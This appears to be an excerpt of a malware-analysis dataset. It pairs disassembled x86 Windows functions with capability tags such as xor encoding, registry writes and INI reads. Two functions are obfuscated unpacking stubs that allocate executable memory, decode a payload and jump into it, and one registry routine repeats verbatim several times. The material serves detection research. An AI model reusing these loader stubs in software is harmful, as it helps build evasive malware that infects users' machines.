joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7001387
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x7001396
pop dword [ebp - 0x34]
mov eax, 0x7001396
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe669bc2c
add dword [ebp - 0x44], 0x67e8891f
mov dword [ebp - 0x40], 0xa31f4095
add dword [ebp - 0x40], 0x8f140bb0
mov dword [ebp - 0x3c], 0x832f3dd9
sub dword [ebp - 0x3c], 0x36e2f9ab
mov dword [ebp - 0x38], 0xbdefe97e
add dword [ebp - 0x38], 0x42101682
lea eax, [ebp - 0x44]
push eax
mov eax, 0x780d9d40
add eax, 0x8ef382f0
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x805cc712
add dword [ebp - 0x44], 0xf415a244
mov dword [ebp - 0x40], 0xa15bd0e4
add dword [ebp - 0x40], 0xa0109091
mov dword [ebp - 0x3c], 0x3ae8147c
add dword [ebp - 0x3c], 0x288757f0
mov dword [ebp - 0x38], 0x89ba7ec8
sub dword [ebp - 0x38], 0x89ba7ec8
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3b0d4
push 0
call eax
mov ecx, 0x49dc
mov edx, eax
mov ebx, 0x5ac385b2
sub ebx, 0x53c1a5b2
add ebx, dword [ebp - 0x34]
mov esi, 0xfd43f077
sub esi, 0xadcac1c9
xor dword [ebp - 0x2c], eax
mov edi, dword [ebx]
add dword [ebp - 4], 0xae38cbbd
add edi, esi
xor dword [ebp - 0x18], esi
mov dword [edx], edi
add edx, 4
add ebx, 0xeb5d1d76
add ebx, 0x14a2e28e
loop 0x70014a8
add eax, 0x11a43
xor ebx, ebx
add ebx, eax
add eax, 0xd69d9d75
add eax, 0x29626290
mov ecx, 0x7000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x700c938
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x7010cdd
call fcn.07001ea6
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700cc00
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700d3f5
lea ecx, [ebp - 0x10]
call fcn.0700c8d5
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700c9a5
mov eax, dword [eax + 0x14]
jmp 0x700c9aa
mov eax, 0x70127b2
push 0x701411c
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700c9dc
mov ecx, dword [edi + 4]
call fcn.07007826
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07001387
mov eax, edi
call fcn.07002b7f
ret 4
push str.file_does_not_exist
push ebx
call fcn.07001387
int3
Function at 0x10022368
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10022377
pop dword [ebp - 0x30]
mov eax, 0x28be5afb
add eax, 0xe743c87c
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x3207d472
sub dword [ebp - 0x40], 0xe3b58f27
mov dword [ebp - 0x3c], 0x1aeaeb6d
add dword [ebp - 0x3c], 0x174860d8
mov dword [ebp - 0x38], 0x7809df8b
add dword [ebp - 0x38], 0xd44264a3
mov dword [ebp - 0x34], 0xddbf2169
add dword [ebp - 0x34], 0x2240de97
lea eax, [ebp - 0x40]
push eax
mov eax, 0xd477053a
add eax, 0x3b8b4b16
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x34721da4
sub dword [ebp - 0x40], 0xbfffb44e
mov dword [ebp - 0x3c], 0xf2b6207
add dword [ebp - 0x3c], 0x3240ff6e
mov dword [ebp - 0x38], 0xa901dce5
sub dword [ebp - 0x38], 0x45927079
mov dword [ebp - 0x34], 0xf1809e32
sub dword [ebp - 0x34], 0xf1809e32
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x74881202
add eax, 0x9b7a3e52
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x41294
push 0
call eax
mov ecx, 0x55cd
xor edi, edi
add edi, eax
mov ebx, 0x2592d748
sub ebx, 0x158f7d48
add ebx, dword [ebp - 0x30]
mov edx, 0x2f04dfb0
sub edx, 0xa795df0
xor dword [ebp - 0x24], ebx
mov esi, dword [ebx]
mov dword [ebp - 0x1c], 0x124e8ad7
add esi, edx
sub dword [ebp - 0x2c], 0xdb713c8f
mov dword [edi], esi
add edi, 4
add ebx, 0x6cc0ad17
sub ebx, 0x6cc0ad13
loop 0x10022495
add eax, 0x1f86e958
sub eax, 0x1f859f51
xor ebx, ebx
add ebx, eax
add eax, 0x9b80d4dd
sub eax, 0x9b80d4d8
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x100132e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1001330e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10013351
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10013375
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10013396
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100133a7
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019f268
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101eff24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x1020108e
mov dword [ebp - 4], 0
call fcn.10158ccb
xor ebx, ebx
mov dword [ebp - 0x10], ebx
cmp dword [ebp + 0x18], ebx
je 0x100132a3
call fcn.10012510
test eax, eax
mov eax, 0xf013f
jne 0x100132a8
mov eax, 0xf003f
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100133d3
mov edi, dword [ebp + 0x1c]
lea eax, [edi - 1]
cmp eax, 0xa
ja case.0x100132d9.5
movzx eax, byte [eax + 0x10013428]
jmp dword [eax*4 + 0x10013410]
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x10]
test esi, esi
jne 0x100132f2
lea ebx, [esi + 0xd]
jmp 0x100133c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push ebx
jmp 0x100133bd
mov ebx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
test ebx, ebx
jne 0x10013325
mov ebx, 0xd
jmp 0x100133c5
xor edi, edi
mov esi, ebx
nop dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea esi, [esi + eax*2]
lea edi, [edi + eax*2]
cmp eax, 1
jne 0x10013330
push edi
push ebx
push 7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x14]
jmp 0x100133bd
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017ca7c
add esp, 0xc
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], edx
push 8
push eax
push 0xb
jmp 0x100133b5
push 0xa
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 0x14]
call fcn.1017cb71
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
push 4
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push 3
jmp 0x100133b5
mov esi, dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push esi
push edi
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x100133d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
or eax, 0xffffffff
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100133fa
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x101ab4d8]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1007fd30
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101a5dfb
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x101eff24]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x18]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], eax
mov eax, dword [ebp + 0xc]
push 0x208
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1016abc0
add esp, 0xc
lea eax, [ebp - 0x218]
push dword [esi]
push 0x104
push eax
push dword [edi]
mov eax, dword [ebp - 0x21c]
push dword [ebx]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
call fcn.100349b0
mov ecx, eax
test ecx, ecx
je 0x1007fe2e
mov eax, dword [ecx]
call dword [eax + 0xc]
mov ebx, dword [ebp - 0x220]
add eax, 0x10
mov dword [ebx], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
mov ecx, ebx
call fcn.1000da30
test al, al
jne 0x1007fe10
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1007fdf2
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, ebx
call fcn.10009be0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10158d02
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.10008350
int3